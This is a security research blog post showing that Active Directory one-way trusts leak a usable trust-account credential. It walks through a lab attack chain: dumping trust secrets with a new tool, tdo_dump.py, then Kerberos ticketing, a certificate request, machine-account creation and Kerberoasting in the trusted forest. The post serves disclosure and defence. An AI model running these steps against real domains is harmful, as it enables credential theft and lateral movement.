Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

22/05/2026

Cybersecurity Insights

Trust no one: are one-way trusts really one way?

Domain and forest trusts are a well-known research topic. Rather than revisiting all of its aspects, the present article focuses on one-way trusts: the account used for maintaining the trust between domains can be extracted with a new tool, tdo_dump.py from the trusting domain and used to authenticate on the trusted domain. Thus, trusted domain objects can be helpful in performing lateral movement across security boundaries within Windows environments.

Introduction

Microsoft defines a one-way trust as the following (emphasis ours):

« A one-way trust is a unidirectional authentication path created between two domains (trust flows in one direction, and access flows in the other). This means that in a one-way trust between a trusted domain and a trusting domain, users or computers in the trusted domain can access resources in the trusting domain. However, users in the trusting domain cannot access resources in the trusted domain. Some one-way trusts can be either nontransitive or transitive, depending on the type of trust being created. »

 

The concept is straightforward and can be summed up in a diagram:

Two Windows domains, part of two distinct forests, are bound with a one-way trust: offsec.lol trusts admin.yeah. So admin.yeah accounts can authenticate to offsec.lol, but not the other way around… allegedly.

To maintain a trust between those forests, a domain account is automatically created on the trusted forest during the trust creation. The samaccounttype of this account is TRUST_ACCOUNT and its useraccountcontrol is (by default) PASSWD_NOTREQD and INTERDOMAIN_TRUST_ACCOUNT.

				
					$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w admin.yeah -t datacenter.admin.yeah  --custom-filter '(&(samaccountname=OFFSEC$))'
objectclass:            top, person, organizationalPerson, user
cn:                     OFFSEC$
distinguishedname:      CN=OFFSEC$,CN=Users,DC=admin,DC=yeah
instancetype:           4
whencreated:            2026-01-11 22:35:13+00:00
whenchanged:            2026-02-03 10:21:37+00:00
usncreated:             16458
usnchanged:             20596
name:                   OFFSEC$
objectguid:             {50b7d6b3-3841-439a-aa50-746c4c4651ca}
useraccountcontrol:     PASSWD_NOTREQD, INTERDOMAIN_TRUST_ACCOUNT
badpwdcount:            0
codepage:               0
countrycode:            0
badpasswordtime:        2026-01-20 13:42:56.589073+00:00
lastlogoff:             1601-01-01 00:00:00+00:00
lastlogon:              2026-02-03 10:21:26.502041+00:00
pwdlastset:             2026-01-19 23:33:57.368069+00:00
primarygroupid:         513
objectsid:              S-1-5-21-90235910-180612443-3686036999-1105
accountexpires:         9999-12-31 23:59:59.999999+00:00
logoncount:             30
samaccountname:         OFFSEC$
samaccounttype:         TRUST_ACCOUNT
objectcategory:         CN=Person,CN=Schema,CN=Configuration,DC=admin,DC=yeah
iscriticalsystemobject: True
dscorepropagationdata:  1601-01-01 00:00:00+00:00
lastlogontimestamp:     2026-02-02 23:48:52.505894+00:00
				
			

Obviously, the secrets for this account can be dumped by an attacker with Domain Admins privileges on the trusted domain.

				
					$ secretsdump.py admin.yeah/Administrator:'Soleil123!'@datacenter.admin.yeah -just-dc-user 'OFFSEC$'
Impacket v0.14.0.dev0+20260114.195536.1a876e02 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
OFFSEC$:1105:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[*] Kerberos keys grabbed
OFFSEC$:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
OFFSEC$:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
OFFSEC$:des-cbc-md5:9d86f852f886f4e9
[*] Cleaning up... 
				
			

However, on the trusting domain, no account is created. This is the expected behavior: the trusting domain does not need to verify identities on the trusted domain because it (trusted) doesn’t trust it (trusting) back. That said, the trusting domain needs to store the password of the account created on the trusted domain. Thus, it is possible for an attacker with Domain admins privileges on the trusting domain to perform lateral movement on the trusted domain. This has already been documented in at least two blogposts: a trusted domain object takeover allows attackers that control the trusting domain to gain Domain Users access on the trusted domain.

Trusted domain object

According to the documentation, the password is stored in cleartext within a LSAPR_AUTH_INFORMATION structure in a trusted domain object (TDO). It also can be stored as a raw RC4HMAC key but only if the trust relationship is set between a Windows domain and a non-Windows, RFC4120-compliant Kerberos distribution domain, which is beyond the scope of this blog post.

There are already tools capable of dumping trusted domain objects, such as mimikatz or ntdissector.

On the left side, the TDO is dumped on offsec.lol on the right side on admin.yeah. On the trusting domain side, the IN part of the TDO is empty and on the trusted side the OUT part is also empty, confirming that the trust is one-way. You can also see that the trust password history is the same as the current password: it means the trust was created less than 30 days ago.

The main problems of those tools are: they can’t be used remotely, and they only display the inter-domain trust keys, not the Kerberos keys. Indeed, to actually use the account, it is the Kerberos keys of the TRUST_ACCOUNT (OFFSEC$) that are needed.

The password within the TDO on offsec.lol is the same as the password of OFFSEC$ on admin.yeah. Thus, an attacker that has compromised the trusting domain can now have valid credentials on the trusted domain. The unidirectional “direction of access” is in fact bidirectional (at least for one account).

The tool

In most blogposts about trusts, mimikatz is used to dump the trust domain object. We decided to create a python script based on impacket to implement this attack: tdo_dump.py.

To keep it simple and easy to debug, we choose to reduce the actions performed by our script: only DRSBindDRSGetNCChanges and DRSUnbind are called. Because DRSGetNCChanges can be a complex function call so for our script we kept it simple as well. Thus, the GUID of the TDO as well as the GUID of the nTDSDSA object of the targeted domain controller must be provided to the script. The nTDSDSA object is an object that represents the replication agent of the domain controller.

Those two GUIDs can be retrieved using your favorite AD object explorer.

				
					$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol -a 'CN=Configuration,DC=offsec,DC=lol' --custom-filter '(&(name=NTDS Settings))' --attributes objectguid distinguishedname
distinguishedname:       CN=NTDS Settings,CN=SEVRES,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=offsec,DC=lol
objectguid:              {79a82840-4173-4402-8202-77c27639f2f2}
$ python3 pywerview.py get-netdomaintrust -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol --full-data
objectclass:            top, leaf, trustedDomain
cn:                     admin.yeah
distinguishedname:      CN=admin.yeah,CN=System,DC=offsec,DC=lol
instancetype:           4
whencreated:            2026-01-11 22:35:13+00:00
whenchanged:            2026-01-19 23:32:58+00:00
usncreated:             20508
usnchanged:             40987
showinadvancedviewonly: True
name:                   admin.yeah
objectguid:             {d0547ff6-8f3f-462c-9f2d-11c427320691}
securityidentifier:     S-1-5-21-90235910-180612443-3686036999
trustdirection:         outbound
trustpartner:           admin.yeah
trustposixoffset:       1073741824
trusttype:              windows_active_directory
trustattributes:        TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, TRUST_ATTRIBUTE_CROSS_ORGANIZATION
flatname:               ADMIN
objectcategory:         CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=offsec,DC=lol
iscriticalsystemobject: True
dscorepropagationdata:  1601-01-01 00:00:00+00:00
				
			

Once the object is retrieved, the script parses it according to Microsoft’s documentation.

				
					$ python tdo_dump.py -u Administrator -d offsec.lol -t sevres.offsec.lol --hashes 47465558945703bbe17c0b7a12c0627c --tdo-guid d0547ff6-8f3f-462c-9f2d-11c427320691  --dsa-guid 79a82840-4173-4402-8202-77c27639f2f2 --debug
[+] Calling hept_map: ('E3514235-4B06-11D1-AB04-00C04FC2DCD2', '4.0')
[x] Binding string: ncacn_ip_tcp:10.0.0.1[49668]
[+] Calling DRSBind
[x] Context handle: 00000000990879b0fd0deb42b12527b95d5ade7f
[+] Calling DRSGetNCChanges for d0547ff6-8f3f-462c-9f2d-11c427320691 on 79a82840-4173-4402-8202-77c27639f2f2
[+] Distinguishe name retrieved: CN=admin.yeah,CN=System,DC=offsec,DC=lol
[!] Cannot get trustAuthIncoming for CN=admin.yeah,CN=System,DC=offsec,DC=lol, mostly because it is a one way trust
[+] Dumping trusted domain object: offsec.lol → admin.yeah
admin.yeah:plain_password_hex:53006f006c00650069006c003100320033002100
admin.yeah:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC
admin.yeah:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
admin.yeah:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
[+] Dumping inter-realm trust keys
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC.LOL
admin.yeah-Outgoing:aes256-cts-hmac-sha1-96:5b7191449bfb9dfe157958fee011b555d742bb261425d399dd9a408198ed0fa9
admin.yeah-Outgoing:aes128-cts-hmac-sha1-96:2a442fafd283d04687f4be165eb3092b
				
			

In a typical « Windows domain » case, the password within the structure is stored in cleartext, and various secrets are derived from it. To derive the Kerberos inter domain trust keys, the salt is computed with the following elements:

TRUSTED_DOMAIN_FQDN krbtgt TRUSTING_DOMAIN_FQDN

in our case

ADMIN.YEAHkrbtgtOFFSEC.LOL

The salt kerberos key for the TRUST_ACCOUNT is computed like this:

TRUSTED_DOMAIN_FQDN + krbtgt TRUST_ACCOUNT_SAMACCOUNTNAME_WITHOUT_$

in our case

ADMIN.YEAHkrbtgtOFFSEC

Bear in mind that a TDO account cannot use NTLM authentication, only Kerberos. Consequently, once the attacker has the kerberos keys for the TRUST_ACCOUNT, they can authenticate to the trusted domain. In this scenario, the inter realm keys are not particularly useful because the attacker already controls the trusting domain.

The tool is now available on GitHub.

Consequences

The main consequence, as stated above, is that the compromise of the trusting forest gives an authenticated access on the trusted forest. This breaks the typical expectation that a one-way trust only allows traversing the forest security boundary in one direction. This is especially true in the typical « administration forest » use case of one-way trusts.

Most of the usual AD attacks – that require a domain account – can be performed on the trusted domain/forest using the TDO account, including, but not limited to:

  • LDAP recon
				
					$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah  -k -no-pass  -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache pywerview get-netuser -u 'OFFSEC$' -k -d admin.yeah -t admin.yeah --username administrator
objectclass:            top, person, organizationalPerson, user
cn:                     Administrator
description:            Built-in account for administering the computer/domain
distinguishedname:      CN=Administrator,CN=Users,DC=admin,DC=yeah
instancetype:           4
whencreated:            2026-01-11 22:03:30+00:00
whenchanged:            2026-02-18 10:11:07+00:00
usncreated:             8196
memberof:               CN=Group Policy Creator Owners,CN=Users,DC=admin,DC=yeah, CN=Domain Admins,CN=Users,DC=admin,DC=yeah, 
                        CN=Enterprise Admins,CN=Users,DC=admin,DC=yeah, CN=Schema Admins,CN=Users,DC=admin,DC=yeah, 
                        CN=Administrators,CN=Builtin,DC=admin,DC=yeah
usnchanged:             20845
name:                   Administrator
objectguid:             {0118293c-3e8b-41c1-8445-178e5a575791}
useraccountcontrol:     NORMAL_ACCOUNT
[...]
				
			
  • AD CS
				
					$ getST.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah  -k -no-pass  -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 -spn host/datacenter.admin.yeah
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in OFFSEC$@host_datacenter.admin.yeah@ADMIN.YEAH.ccache
$ KRB5CCNAME='OFFSEC$@host_datacenter.admin.yeah@ADMIN.YEAH.ccache' certipy req -u 'OFFSEC$'@admins.yeah -dc-host admin.yeah -k -no-pass -target datacenter.admin.yeah -ns 10.0.0.1 -dc-ip 10.0.0.2 -debug -ca 'admin-DATACENTER-CA'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] Domain retrieved from CCache: ADMIN.YEAH
[+] Username retrieved from CCache: OFFSEC$
[+] Nameserver: '10.0.0.1'
[+] DC IP: '10.0.0.2'
[+] DC Host: 'admin.yeah'
[+] Target IP: None
[...]
[*] Successfully requested certificate
[*] Got certificate with UPN 'OFFSEC$@admin.yeah'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'offsec.pfx'
[+] Attempting to write data to 'offsec.pfx'
[+] Data written to 'offsec.pfx'
[*] Wrote certificate and private key to 'offsec.pfx'
$ certipy auth -pfx offsec.pfx  -dc-ip 10.0.0.2 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'OFFSEC$@admin.yeah'
[*] Connecting to 'ldaps://10.0.0.2:636'
[*] Authenticated to '10.0.0.2' as: 'u:ADMIN\\OFFSEC$'
Type help for list of commands

# whoami
u:ADMIN\OFFSEC$
				
			
  • Computer account creation
				
					$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah  -k -no-pass  -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache addcomputer.py admin.yeah/'offsec$' -k -no-pass -dc-host datacenter.admin.yeah -computer-name ATTACKCOMPUTER
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACKCOMPUTER$ with password vjuA8giQYjrC7wt8fo43PgCuF6ixCOw4.
				
			
  • Kerberoasting
				
					$ KRB5CCNAME=OFFSEC\$.ccache GetUserSPNs.py -k -no-pass admin.yeah/OFFSEC$ -request
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies

[*] Getting machine hostname
ServicePrincipalName        Name            MemberOf  PasswordLastSet             LastLogon  Delegation
--------------------------  --------------  --------  --------------------------  ---------  ----------
http/datacenter.admin.yeah  kerberoastable            2026-02-18 14:00:15.664654  <never>               

$krb5tgs$23$*kerberoastable$ADMIN.YEAH$admin.yeah/kerberoastable*$a1c4aaa210bbd9cc06ac92606b423a47$b06da5d072ade60969d0ff215599487f735273c082c0916ae6c4281a6aa91b4013cfe7[...]
				
			

Shout out

tdo_dump.py is heavily based on:

Voir les derniers Cybersecurity Insights

19 mai 2026
Pour de nombreuses entités publiques ou privées, la cybersécurité est encore un centre de coût. En particulier, les audits de […]
11 mai 2026
During the last months of 2025, our internal Security Evaluation Laboratory had the chance to conduct a security audit of […]
4 mai 2026
Alors que le Cyber Resilience Act entre dans sa phase d’application, celui-ci intègre une nouvelle obligation inédite et dimensionnante pour […]
8 avril 2026
Data protection : retrouvez les erreurs principales à éviter pour s'assurer du bon déroulement de votre projet DLP.
9 janvier 2026
Our Security Evaluation Laboratory performed a security audit of HAProxy. This audit was aimed at evaluating the security level of […]
22 décembre 2025
Recently, our team performed a security audit of SmallStep Certificates PKI. This audit was focused on the cryptographic aspects of […]
18 décembre 2025
Almond est classé Leader dans l'étude Blueprint® 2025-2026 dédiée aux SOC managés pour le mid-market, et visionnaire sur les grandes […]
4 novembre 2025
Comme chaque année, SWIFT met à jour son standard CSCF et apporte son lot de nouveautés. Il peut s'avérer complexe […]
22 octobre 2025
Find here the crypto and reverse challenges that our teams created for the European Cyber Week pre-qualification and qualification tests […]
20 octobre 2025
La référence mondiale ISG distingue Almond dans les six domaines clés de la cybersécurité, confirmant la solidité de son expertise […]

Nous vous souhaitons de joyeuses fêtes de fin d’année hautes en couleur et à l’année prochaine pour une année 2025 exaltante ! 🎉

🎁 Merci à tous pour votre participation au quiz de l’avent, nous contacterons le gagnant très prochainement.

🎅 Chez Almond, l’esprit festif des fêtes de fin d’année est arrivé en avance !

Nos collaborateurs ont profité d’une soirée chaleureuse et joyeuse dans l’un des restaurants les plus spectaculaires de Paris, Le Cirque avec un cocktail dinatoire, des surprises et un Secret Santa.

Et un peu plus de magie de Noël ? Almond a également ouvert ses portes aux familles de nos collaborateurs pour une après-midi conviviale autour de l’arbre de Noël. Les enfants ont été captivés par des contes enchantés, de 1001 contes Constance Felix et ont savouré un goûter délicieux avec des chocolats chauds préparés par les Empotés. Le Père Noël a distribué des coloriages géants et des cadeaux pour le plus grand bonheur des enfants 🎁

Jour 23 |

Jour 22 | Laquelle de ces menaces n’est pas un cryptoransomware ?

  • Réponse 1 : Lockbit3
  • Réponse 2 : Phobos
  • Réponse 3 : NotPetya
  • Réponse 4 : WannaCry

Laïus explicatif : Bien que NotPetya ressemble à un ransomware, il s’agit en réalité d’un wiper. Ce malware rend indisponible les fichiers de la victime, mais ne fournit aucun moyen de les déchiffrer, même après le paiement de la rançon. L’objectif principal de NotPetya n’est pas l’extorsion financière, mais la destruction de données.
En cas d’incident, voici les coordonnées de notre CERT : alerte@cwatch.almond.eu +33 (0)1 83 75 36 94

Jour 21 | Vous dialoguez via votre terminal avec un service distant et vous vous rendez compte qu'il contient un stack-based overflow. Vous cherchez à l'exploiter à l'aveugle et trouvez finalement l'offset de l'adresse de retour, après avoir contourné les éventuelles protections. Vous cherchez maintenant un stop gadget pour continuer votre exploitation. Quelle est son utilité :

  • Réponse 1 : interrompre à la demande le flux d’exécution du binaire distant le temps de l’exploitation
  • Réponse 2 : obtenir une exécution fiable et maîtrisée avec un comportement reproductible
  • Réponse 3 : pouvoir mettre en pause le binaire temporairement pendant l’envoi de la payload
  • Réponse 4 : pouvoir stopper proprement le binaire afin d’éviter un éventuel crash à la fin de l’exploitation

Laïus explicatif : L’exploitation se déroulant en aveugle, il est nécessaire de trouver une adresse permettant d’obtenir un comportement particulier et reproductible à chaque exécution, comme l’affichage du texte « Bye ». Si une telle adresse est trouvée, elle correspond au stop gadget. Il permettra donc de continuer l’exploitation et de valider ou invalider nos déductions lors de l’exécution du binaire.

Jour 20 | Le terme "spam" pour désigner les messages indésirables provient initialement

  • Réponse 1 : D’une marque de jambon en boîte
  • Réponse 2 : D’un acronyme signifiant « Stupid Pointless Annoying Messages »
  • Réponse 3 : D’un sketch des Monty Python
  • Réponse 4 : D’un code utilisé pendant la Seconde Guerre mondiale

Laïus explicatif : Ce mot, à l’origine un acronyme de : SPiced hAM (du jambon épicé en boîte vendue par une entreprise américaine), est repris en masse, pour brouiller la conversation, dans un sketch des Monty Python.

Jour 19 | L’acronyme PACS désigne  :

A. Un format permettant la visualisation des images dans l’imagerie médicale

B. Un système d’archivage et de communication d’images dans l’imagerie médicale

C. Un prestataire d’audit et de conseil en cybersécurité

D. Un pacte civil de solidarité

  • Réponse 1 : L’ensemble des réponses
  • Réponse 2 : Réponses C et D
  • Réponse 3 : Réponses B, C et D
  • Réponse 4 : Réponses A, C et D

Laïus explicatif :

Un PACS, dans le secteur de l’imagerie médicale, désigne effectivement un système (et non un format) signifiant « Picturing Archiving and Communication System » permettant de gérer les images médicales grâce à des fonctions d’archivage.

De plus, depuis septembre, l’ANSSI a publié un référentiel d’exigences qui permet aux commanditaires de prestations de sécurité de bénéficier de garanties sur les compétences des prestataires, sur le processus d’accompagnement et de conseil, ainsi que sur la sécurité des systèmes d’information associés. Ce référentiel vise à reconnaître officiellement les prestataires en tant que « Prestataires d’accompagnement et de conseil en sécurité ».
Enfin, en France, le PACS désigne aussi une forme d’union civile dénommée Pacs.

Jour 18 | En quelle année l'ANSSI prévoit de ne plus recommander l'utilisation de certains algorithmes de chiffrement classiques en raison de l'augmentation de la puissance de calcul des ordinateurs classiques et de la menace posée par les ordinateurs quantiques ?

  • Réponse 1 : 2026
  • Réponse 2 : 2030
  • Réponse 3 : 2035
  • Réponse 4 : 2050

Laïus explicatif : Dans son dernier avis sur la migration vers la cryptographie post quantique, paru en janvier 2024, l’ANSSI encourage tous les éditeurs à mettre en œuvre dès à présent une hybridation entre la cryptographie standard et la cryptographie post-quantique (pour les produits qui doivent protéger des informations après 2030) et recommande d’utiliser en priorité la cryptographie post-quantique à partir de 2030.  

Jour 17 | Quelle est la dernière course à laquelle j’ai participé ?

  • Réponse 1 : Le Vendée Globe
  • Réponse 2 : National Figaro 3 en équipage
  • Réponse 3 : La Solitaire du Figaro Paprec
  • Réponse 4 : Le Havre Allmercup

Laïus explicatif : Le National Figaro 2024 s’est déroulé du 4 au 6 octobre dernier à Lorient. Thomas et son équipe sont arrivés en 2e position ! Cette course clôture ainsi la saison 2024 sur le circuit Figaro. 

  • Réponse 1 : Aetheris

  • Réponse 2 : Venopie

  • Réponse 3 : Lumidus

  • Réponse 4 : Pandama

Laïus explicatif : Au sein de la plateforme d’attaque – défense M&NTIS, le scénario Pandama propose une kill chain dont l’impact, après compromission du contrôleur de domaine, permet de déployer, par GPO, une charge utile effaçant les données présentes sur les systèmes de fichiers du SI simulé.

Pour rappel, basé sur les technologies d’émulation d’adversaire et de Cyber Range, M&NTIS permet d’exécuter des campagnes d’attaques réalistes afin de challenger dans un environnement immersif les procédures et l’expertise des équipes SOC et CERT. M&NTIS répond ainsi aux enjeux d’amélioration continue de la défense.

Jour 15 | Quel type de menace ne fait pas parti de l’insider threat?

  • Réponse 1 : Malicious
  • Réponse 2 : Ransomware group
  • Réponse 3 : Negligent
  • Réponse 4 : Vendors

Laïus explicatif : Almond a proposé une étude sur la menace interne qui décrit chaque type d’insider. Les groupes de ransomware sont externes à l’entreprise mais peuvent recruter des employées pour récupérer des accès valides et compromettre l’entreprise. Retrouvez l’étude ici.

Jour 14 | Selon vous, quelle proportion des cyberattaques réussies sont liées à une erreur humaine ?

  • Réponse 1 : 40%

  • Réponse 2 : 100%

  • Réponse 3 : 70%

  • Réponse 4 : 90%

Laïus explicatif : 90% des cyberattaques trouvent leur origine dans une erreur humaine. L’erreur humaine en cybersécurité englobe toutes les actions, conscientes ou non, qui exposent les systèmes et les données à des menaces. Cela inclut des gestes apparemment innocents, comme le fait de :

  • Cliquer sur les liens malveillants
  • Utiliser des mots de passe faibles ou partagés
  • Partager des informations sensibles
  • Négliger la mise à jour des logiciels et systèmes
  • Commettre une erreur de configuration ou mal administrer les accès
  • Utiliser des clés USB non sécurisées ou prévenant de sources inconnues

Jour 13 | Almond & Amossys sont présents en France et à l’international pour garantir proximité et réactivité grâce à nos services 24/7. Dans quels pays se trouvent nos équipes ?

  • Réponse 1 : FRA – CHE – AUS – JPN

  • Réponse 2 : FRA – CAN – CHE – KOR

  • Réponse 3 : FRA – AUS – CAN – GBR

  • Réponse 4 : FRA – BEL – ITA – USA

Jour 12 | Challenge OSINT

Val Thorens

Laïus explicatif : Depuis plusieurs années consécutives, notre CSE organise des séjours à Val Thorens pour profiter des sports d’hiver. Que l’on aime dévaler les pistes de ski à toute allure, tenter l’aventure en prenant des cours d’initiation ou simplement déguster une raclette après une randonnée raquette et un passage à la piscine et au sauna, ce séjour est l’occasion de partager des moments convivaux avec ses collègues ! TIC, TAC, le prochain séjour ski approche à grands pas !

Jour 11 | Parmi ces propositions, quelle technique Mitre Atta&ck est la plus utilisée par les attaquants ?

  • Réponse 1 : OS Credential Dumping
  • Réponse 2 : Valid Account
  • Réponse 3 : Impair Defenses
  • Réponse 4 : Remote services

Laïus explicatif : L’achat ou la récupération de comptes valides sont de plus en plus commun. Certains cybercriminels appelés Initial Access Broker se spécialisent dans la compromission de victimes dans le but de récupérer des identifiants valides qui seront ensuite vendus à d’autres cybercriminels comme les groupes de ransomware.

Jour 10 | Parmi ces structures de données de la mémoire dans Windows, quelle est celle qui permet de lister les processus en cours d’exécution ?

  • Réponse 1 : EPROCESS
  • Réponse 2 : Kernel Debugger Data Block (KDBG)
  • Réponse 3 : Kernel Processor Control Region (KPCR)
  • Réponse 4 : Process Environment Block (PEB)

Laïus explicatif : La structure EPROCESS (Executive Process) est utilisée par Windows pour gérer chaque processus en cours d’exécution. Elle contient des informations essentielles comme l’identifiant du processus (PID), l’état, les threads associés, et d’autres données nécessaires au système pour suivre les processus actifs. En analysant les structures EPROCESS, on peut lister les processus actuellement en mémoire. Le PEB est lié à chaque processus de manière individuelle. Enfin le KPCR est nécessaire pour trouver l’adresse du KDB qui à son tour permettra de pointer vers le EPROCESS.  

Jour 9 | Quel est le problème si la suite cryptographique TLS_RSA_WITH_AES_256_CBC_SHA256 est utilisée avec l'extension encrypt_then_mac pour la sécurité d'une communication TLS ?

  • Réponse 1 : L’algorithme de chiffrement est trop faible

  • Réponse 2 : L’intégrité de la communication n’est pas assurée

  • Réponse 3 : Il n’y a pas la propriété de confidentialité persistante (Perfect Forward Secrecy)

  • Réponse 4 : Le serveur n’est pas correctement authentifié

Laïus explicatif : La bonne réponse est le manque de confidentialité persistante.

La suite TLS_RSA_WITH_AES_256_CBC_SHA256 utilise la clé publique RSA du serveur pour chiffrer le secret partagé utilisé pour sécuriser les échanges de la session TLS : en cas de compromission de la clé privée du serveur, l’ensemble des échanges des sessions passées peuvent être déchiffrés par un attaquant.
La confidentialité persistante (connue sous le nom de Perfect Forward Secrecy en anglais) consiste en l’utilisation d’un échange Diffie-Hellman éphémère pour négocier le secret partagé, sans utilisation de la clé RSA du serveur.

Jour 8 | Quel est l'avantage d'utiliser un outil de couverture de code lors d'une session de fuzzing ?

  • Réponse 1 : Réduire le temps de fuzzing en optimisant certaines instructions assembleur.

  • Réponse 2 : Utiliser la technique de « pré-chauffage » du harnais (« warming code attack »).

  • Réponse 3 : Pouvoir analyser facilement les sections de code atteintes par le fuzzer.

  • Réponse 4 : Ne pas prendre en compte les vulnérabilités de type use-after-free.

Laïus explicatif : Les outils de couverture de code (“code coverage” en anglais) permettent de savoir avec précision quelles lignes de code d’un programme qui ont réellement été exécutées. Lors d’une session de “fuzzing”, ces outils peuvent aider l’analyste à savoir si les fonctions ciblées ont été atteintes par le fuzzer. Cette technique a notamment été utilisée par un membre de l’équipe Offsec pour trouver une vulnérabilité dans une bibliothèque open-source (voir notre article de blog)

Jour 7 | Quelle est la principale éthique qui doit être prise en compte dans le développement de l’Intelligence Artificielle ?

  • Réponse 1 : L’équité et la non-discrimination

  • Réponse 2 : La transparence des algorithmes utilisés

  • Réponse 3 : La sécurité et la confidentialité des données

  • Réponse 4 : Toutes les réponses

Laïus explicatif : L’équité et la non-discrimination sont des principes fondamentaux dans le développement de l’IA. Les systèmes d’IA doivent être conçus pour éviter les biais et assurer qu’ils ne favorisent pas des groupes spécifiques au détriment d’autres, afin de garantir un traitement juste et égal pour tous les utilisateurs. La transparence des algorithmes est cruciale. Les utilisateurs doivent comprendre comment les décisions sont prises par l’IA, ce qui inclut la possibilité d’expliquer les résultats ou actions générés par un système d’intelligence artificielle, afin d’éviter des décisions opaques ou injustes. La sécurité et la confidentialité des données sont enfin des préoccupations majeures lorsque l’on développe des systèmes d’IA, car ces technologies peuvent collecter et traiter des informations sensibles, ce qui soulève des questions sur la protection des données personnelles et la vie privée.

Jour 6 | Selon vous, en moyenne combien de ransomware ont eu lieu par jour en 2023 dans le monde ?

  • Réponse 1 : 1 par jour

  • Réponse 2 : 100 par jour

  • Réponse 3 : 30 par jour

  • Réponse 4 : 12 par jour

Laïus explicatif : En moyenne 12 attaques ransomware ont été signalées par jour par des victimes dans le monde en 2023 selon les chiffres d’Almond. Pour plus d’informations, n’hésitez pas à consulter notre Threat Landscape.

Jour 5 | Challenge de stéganographie

Réponse : PASSI RGS, PASSI LPM, CESTI, ANJ, Cybersecurity made in Europe, PCI QSA Company et Swift

Etape 1 : Observer l’image, trouver 3 logos cachés (Cybersecurity made in Europe, PCI QSA Company & Swift) et une indication pour chercher dans les métadonnées du fichier. 

Etape 2 : Challenge de stéganographie

En lançant dans son terminal un des outils les plus courants, « binwalk », on trouve une image JPEG dans le PDF. En extrayant les données grâce au même outil et en renommant le fichier en .jpeg, on voit apparaitre une image cachée. Ensuite, en utilisant « steghide », on peut extraire le fichier avec le mot de passe « Almond ». Ce fichier contient une suite de caractère encodée en base64. En la déchiffrant, on obtient les quatre autres certifications : PASSI RGS, PASSI LPM, CESTI et ANJ. 

Jour 4 | Concernant les accompagnements de la nouvelle qualification PACS de l’ANSSI, sur la portée Sécurité des Architectures, quels sont les domaines qui font partie du périmètre possible d’un accompagnement ?

  • Réponse 1 : la sécurité réseau, l’authentification, et l’administration du SI

  • Réponse 2 : la sécurité réseau, la sécurité système, et les mécanismes de chiffrement

  • Réponse 3 : l’administration du SI, le cloisonnement, les sauvegardes, et la stratégie de détection/réponse

  • Réponse 4 : tous ces sujets et plus encore

  • Laïus explicatif : Le référentiel PACS, sur la portée Sécurité des Architectures, porte bien sur tous les sujets liés de près ou de loin aux infrastructures du SI. La liste n’est pas exhaustive et est à adapter à chaque prestation d’accompagnement suivant le périmètre d’intervention. Dans le référentiel, l’ANSSI propose une liste de sujets à adresser dans un rapport PACS page 28 et 29.

    https://cyber.gouv.fr/sites/default/files/document/PACS_referentiel-exigences_v1.0.pdf

Jour 3 | Quel référentiel permet la certification de produits de sécurité ?

  • Réponse 1 : NIS2

  • Réponse 2 : Critères Communs

  • Réponse 3 : PASSI

  • Réponse 4 : ISO27001

Laïus explicatif : Le schéma Critères Communs est un ensemble de normes et méthodologies permettant de cadrer les moyens utilisés pour évaluer, de manière impartiale, la sécurité d’un produit de sécurité (logiciel ou matériel). Ce schéma est reconnu internationalement au travers de plusieurs accords (SOG-IS, CCRA et prochainement EUCC).

Le référentiel PASSI permet la qualification, par l’ANSSI, des prestataires d’audit de la sécurité des SI. ISO27001 est la norme décrivant les bonnes pratiques à suivre dans la mise en place d’un SMSI. Enfin, NIS2 est une directive visant à harmoniser et à renforcer la cybersécurité du marché européen.

Jour 2 | Quel est l’artefact forensique qui permet de prouver une exécution d’un programme sous Windows ?

  • Réponse 1 : JumpList

  • Réponse 2 : ShimCache

  • Réponse 3 : $MFT

  • Réponse 4 : Prefetch

